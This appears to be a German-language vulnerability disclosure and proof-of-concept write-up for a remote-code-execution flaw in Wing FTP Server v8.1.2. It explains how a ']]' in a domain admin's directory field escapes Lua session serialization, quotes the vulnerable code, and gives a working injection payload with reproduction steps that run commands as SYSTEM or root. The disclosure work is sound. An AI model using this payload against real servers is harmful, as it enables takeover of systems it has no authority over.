CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2 enthält eine Schwachstelle zur Remote-Codeausführung (RCE) im Sitzungsserialisierungsmechanismus. Ein authentifizierter Administrator kann über das mydirectory-Feld (basefolder) eines Domain-Administrators beliebigen Lua-Code injizieren, der serverseitig über loadfile() ausgeführt wird.
Hierbei handelt es sich um eine von CVE-2025-47812 separate Schwachstelle. Der in v7.4.4 für CVE-2025-47812 angewandte Fix adressierte lediglich den Nullbyte-Injektionsvektor im Benutzernamenfeld. Die zugrunde liegende unsichere Sitzungsserialisierung wurde nicht behoben und bleibt in v8.1.2 über das basefolder-Feld des Domain-Administrators ausnutzbar.
Die Sitzungsserialisierungsfunktion serialize() in SessionModule.lua (Zeile 103) und SessionModuleAdmin.lua (Zeile 104) schreibt String-Werte mithilfe der Lua-Long-String-Notation [[...]]:
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
Wenn ein Sitzungswert ]] enthält, wird der Long-String vorzeitig geschlossen und der restliche Inhalt als ausführbarer Lua-Code geparst.
In cgi.lua (Zeilen 274-275) und (Zeilen 277-278) ist Code zur Klammerbereinigung vorhanden, jedoch auskommentiert:
cgiadmin.lua--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
Die Sitzungs-Metatable, die diese Bereinigung durchsetzen würde, ist ebenfalls deaktiviert:
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
Schritt 1 — Payload über das basefolder-Feld des Domain-Administrators injizieren:
Ein authentifizierter Volladministrator erstellt oder ändert ein Domain-Administratorkonto. Das mydirectory-Feld wird wie folgt gesetzt:
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
Die Endpunkte service_add_admin.html und service_modify_admin.html bereinigen keine Klammerzeichen aus dem mydirectory-Feld. (service_add_admin.html entfernt Klammern aus dem Benutzernamen in den Zeilen 14-15, jedoch nicht aus mydirectory.)
Schritt 2 — Ausführung auslösen:
Wenn sich der präparierte Domain-Administrator über service_login.html anmeldet, wird das basefolder direkt in der Sitzung gespeichert:
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save() schreibt dies wie folgt in die Sitzungsdatei:
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
Schritt 3 — Codeausführung:
Bei der nächsten HTTP-Anfrage mit dieser Sitzung ruft SessionModuleAdmin.load() loadfile() gefolgt von f() auf (Zeilen 184-188). Der Lua-Parser interpretiert die Sitzungsdatei wie folgt:
_SESSION['admin_basefolder']=[[C:\ftproot]] --> assigns string "C:\ftproot"
os.execute("whoami > C:\\proof.txt") --> EXECUTES AS CODE
--]] --> rest is commented out
Der Payload wird mit den Berechtigungen des Wing-FTP-Server-Prozesses ausgeführt (SYSTEM unter Windows, root unter Linux).
Ein funktionierender PoC-Exploit wurde entwickelt und gegen Wing FTP Server v8.1.2 unter Windows getestet.
Reproduktionsschritte:
Melden Sie sich im Admin-Panel an.
Erstellen Sie einen neuen Domain-Administrator mit folgendem mydirectory-Wert:
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
Melden Sie sich als der neu erstellte Domain-Administrator an.
Navigieren Sie zu einer beliebigen Admin-Seite (löst das Laden der Sitzung aus).
Stellen Sie sicher, dass C:\wingftp_rce_proof.txt erstellt wurde und den Benutzernamen des Servers enthält.